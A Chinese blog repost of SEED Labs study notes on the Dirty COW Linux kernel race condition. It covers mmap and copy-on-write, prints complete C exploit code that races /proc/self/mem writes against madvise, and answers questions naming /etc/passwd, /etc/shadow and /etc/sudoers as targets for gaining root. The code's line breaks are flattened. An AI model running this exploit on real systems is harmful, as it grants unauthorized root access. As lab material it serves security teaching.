seed-labs (脏牛竞态攻击)

2024-06-13 22:18
文章标签 攻击 labs seed 脏牛 竞态

本文主要是介绍seed-labs (脏牛竞态攻击),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

软件安全-脏牛竞态攻击

  • 概要
    • mmap() 函数进行内存映射
    • MAP_SHARED MAP_PRIVATE 写时拷贝
    • 映射只读文件
    • 脏牛漏洞
    • problems

概要

该漏洞存在于linux内核的写时复制代码中,攻击者可以通过该漏洞获取root权限

mmap() 函数进行内存映射

mmap():将文件或设备映射到内存的系统调用。默认的映射类型是文件备份映射,它将进程的虚拟内存区域映射到文件;从映射区域读取会导致文件被读取
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第一个参数:映射内存的起始地址

第二个参数:映射内存的大小

第三个参数:如果内存可读写。应与第行的访问类型匹配①

第4个参数:映射到同一区域的其他进程是否可以看到映射的更新,以及是否将更新传递到基础文件

第5个参数:需要映射的文件

第6个参数:偏移量,指示从文件内部的何处开始映射。

MAP_SHARED MAP_PRIVATE 写时拷贝

MAP_SHARED: 映射的内存在两个进程之间的行为类似于共享内存
MAP_PRIVATE: 文件被映射到调用进程的专用内存。
写时拷贝:允许不同进程中的虚拟内存映射到相同物理内存页(如果它们具有相同的内容)的技术。

映射只读文件

通常,我们不能写入只读存储器。

但是,如果文件是使用MAP\u PRIVATE映射的,OS会产生一个异常并允许我们写入映射的内存,但是我们必须使用不同的路由,而不是直接使用内存操作,例如memcpy()。
write()系统调用就是这样一种路由。

脏牛漏洞

write()系统调用可以被用来修改映射内存,主要有三个步骤
1 制作映射内存的副本

2 更新页表,使虚拟内存指向新创建的物理内存

3 写入内存。

上述步骤本质上不是原子性的:它们可能会被其他线程中断,从而造成潜在的竞争条件,从而导致肮脏的Cow漏洞
Memory Mapping Thread

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);int main(int argc, char *argv[])
{pthread_t pth1,pth2;struct stat st;int file_size;// Open the target file in the read-only mode.int f=open("/zzz", O_RDONLY);// Map the file to COW memory using MAP_PRIVATE.//将已经打开的文件描述符f的文件状态复制到&st指针指向的数据结构中fstat(f, &st);file_size = st.st_size;//mmap()将一个文件或对象映射进内存,成功返回被映射区的指针,失败时返回-1//参数1:映射区的开始地址,设置为0表示由系统决定//参数2:映射区的长度,单位是字节//参数3:期望的内存保护标志,不能与文件打开模式冲突//参数4:指定映射对象的类型,映射选项和映射页是否可以共享,MAP_PRIVATE不会影响原文件//参数5:有效的文件描述符//参数6:被映射对象的起点map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);// Find the position of the target areachar *position = strstr(map, "222");                        // We have to do the attack using two threads.//pthread_create()创建线程,在线程创建后就开始运行相关的线程函数,成功返回0,失败返回-1//参数1:指向线程标识符的指针//参数2:设置线程属性//参数3:线程运行函数的起始地址//参数4:运行函数的参数pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); pthread_create(&pth2, NULL, writeThread, position);             // Wait for the threads to finish.//pthread_join()等待线程结束,成功返回0,失败返回错误号//参数1:线程标识符,就是线程ID//参数2:用户定义的指针,用来存储被等待线程的返回值pthread_join(pth1, NULL);pthread_join(pth2, NULL);return 0;
}

Set Up the write Thread

void *writeThread(void *arg)
{char *content= "***";off_t offset = (off_t) arg;int f=open("/proc/self/mem", O_RDWR);while(1) {// Move the file pointer to the corresponding position.//lseek()控制文件的读写位置//参数1:已经打开的文件描述符//参数2:偏移量//参数3:SEEK_SET将读写位置指向文件头后再增加offset个偏移lseek(f, offset, SEEK_SET);// Write to the memory.write(f, content, strlen(content));}
}

The madvise Thread

void *madviseThread(void *arg)
{int file_size = (int) arg;while(1){//madvise()建议内核如何处理一段地址范围的页面输入输出,成功返回0,失败返回-1//参数1:起始地址//参数2:地址长度//参数3:建议,MADV_DONTNEDD此范围内的页面在后续访问将会成功,但将导致从存储重新加载底层映射文件madvise(map, file_size, MADV_DONTNEED);}
}

脏牛攻击是利用Linux内核中的竞态条件漏洞,,这个漏洞存在于与内存映射有关的写时拷贝

problems

A file's content is a string "Hello World". When this file is mapped to memory (the entire file) using mmap(), and the memory address is stored in a variable map. Please describe what the following printf() statement prints out.char addr = (char )map;
printf("%s\n", addr + 6);print   worldThe fork() system call creates a new process from a parent process. The new process, i.e., the child process, will have a copy of the parent process's memory. Typically, the memory copy is not performed when the child process is created. Instead, it is delayed. Please explain when the memory copy will occur.
当子进程首次写入内存时,将发生内存复制。因为父级和子级有独立的内存空间,所以拷贝发生在写入时,或者我们现在所知道的COW。The permission of the file /home/seed/zzz is readable and writable to the user seed. Does the following code (executed by seed) modify the content of /home/seed/zzz?int f=open("/home/seed/zzz", O_RDWR);
fstat(f, &st);
map=mmap(NULL, st.st_size, PROT_READ|PROT_WRITE,
MAP_PRIVATE, f, 0);
memcpy(map, "new content", strlen("new content"));The permission of the file /home/seed/zzz is readable and writable to the user seed. Does the following code (executed by seed) modify the content of /home/seed/zzz?int f=open("/home/seed/zzz", O_RDWR);
fstat(f, &st);
map=mmap(NULL, st.st_size, PROT_READ|PROT_WRITE,
MAP_PRIVATE, f, 0);
memcpy(map, "new content", strlen("new content"));不会。因为文件是在私有模式下映射到内存的,所以在memcpy上,会生成内存映射的新副本。In the Dirty COW attack, can we run two processes, instead of two threads?
不,当两个进程将同一个文件映射到内存时,它们将拥有各自的副本。在其中一个上运行madvise,在另一个上写入时不会触发副本,因此它必须是调用write()和madvise()的同一进程。In this chapter, we show that by exploiting the Dirty COW race condition, we can modify the /etc/passwd file and gain the root privilege. Please name two other files that can be attacked to gain the root privilege./etc/shadow
/etc/sudoers
此文件定义可以运行sudo命令的用户列表。一旦用户被添加到sudoers列表中,用户就可以运行
sudo su If we use the MAP_PRIVATE to map a read-only file to the memory, and then use memcpy() to write to it. Will this cause copy-on-write?
No. MAP_PRIVATE causes the read-only file to be mapped into a read-only memory block. We can't use memcpy() to write to it, it'll throw an error. We should instead use the write() function.
否。MAP_PRIVATE导致只读文件映射到只读内存块。我们不能使用memcpy()对它进行写入,它会抛出一个错误。我们应该改用write()函数。

这篇关于seed-labs (脏牛竞态攻击)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1058576

相关文章

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

Web安全之XSS跨站脚本攻击:如何预防及解决

1. 什么是XSS注入 XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,通过注入恶意代码(通常是JavaScript)到目标网站的网页中,以此在用户浏览网页时执行。攻击者可以通过XSS获取用户的敏感信息(如Cookie、会话令牌)或控制用户浏览器的行为,进而造成信息泄露、身份冒用等严重后果。 2. XSS攻击类型 2.1 存储型XSS 存储型XS

【前端安全】浅谈XSS攻击和防范

定义 XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 分类 大分类小分类原理非存储DOM型① 不需要经过服务器

新型 RAMBO 侧信道攻击通过 RAM 无线电波泄露数据

内盖夫本·古里安大学的研究人员发现了一种从隔离系统中泄露敏感数据的方法。 引入了一种称为 RAMBO(基于 RAM 的电磁隐蔽通道)的新型攻击技术。 该攻击利用计算机 RAM 产生的电磁辐射,使攻击者能够窃取加密密钥、密码、生物特征数据和文件等信息。 即使在系统与外部网络物理隔离的环境中,这种攻击也能实现。 信息泄露速度达 7.5 kB/分钟 该研究由 Morde

DDoS对策是什么?详细解说DDoS攻击难以防御的理由和对策方法

攻击规模逐年增加的DDoS攻击。据相关调查介绍,2023年最大的攻击甚至达到了700Gbps。 为了抑制DDoS攻击的危害,采取适当的对策是很重要的。 特别是在网站显示花费时间或频繁出现504错误的情况下,可能已经受到了DDoS攻击,需要尽早采取对策。 本文将介绍受到DDoS攻击时的事件、受害内容和作为DDoS对策有效的三种服务。 到底什么是DDoS攻击? 理解事件、手段和损害 D

网络安全与恶意攻击:如何应对?

引言 随着技术的发展,我们的生活越来越依赖于网络。但是,这也暴露了我们的系统对各种网络威胁的脆弱性。无论是个人还是企业,网络安全都成为了我们不能忽视的话题。 网络威胁的类型 网络威胁主要有以下几种: 网络钓鱼攻击:这是一种试图通过冒充合法实体来欺骗用户提供敏感信息(例如,密码或信用卡信息)的攻击。 **恶意软件:**恶意软件是设计用来破坏、损坏或者非法获取访问权限的软件。其中包括病

安装 SideFX Labs

介绍 SideFX Labs 是一个完全免费开源的工具集。GIT地址:github.com/sideeffects/SideFXLabs 它是一个针对150多种工具的测试场,由于这些工具是在常规的 Houdini 开发周期之外开发的,因此可以更方便地进行测试和反馈。 其中的工具总结了常见的工作流程,并与常用软件建立了紧密的集成。目的是帮助用户更快地启动和执行“数字化内容创建”中常见的各种任

经验笔记:跨站脚本攻击(Cross-Site Scripting,简称XSS)

跨站脚本攻击(Cross-Site Scripting,简称XSS)经验笔记 跨站脚本攻击(XSS:Cross-Site Scripting)是一种常见的Web应用程序安全漏洞,它允许攻击者将恶意脚本注入到看起来来自可信网站的网页上。当其他用户浏览该页面时,嵌入的脚本就会被执行,从而可能对用户的数据安全构成威胁。XSS攻击通常发生在Web应用程序未能充分过滤用户提交的数据时,导致恶意脚本得以传递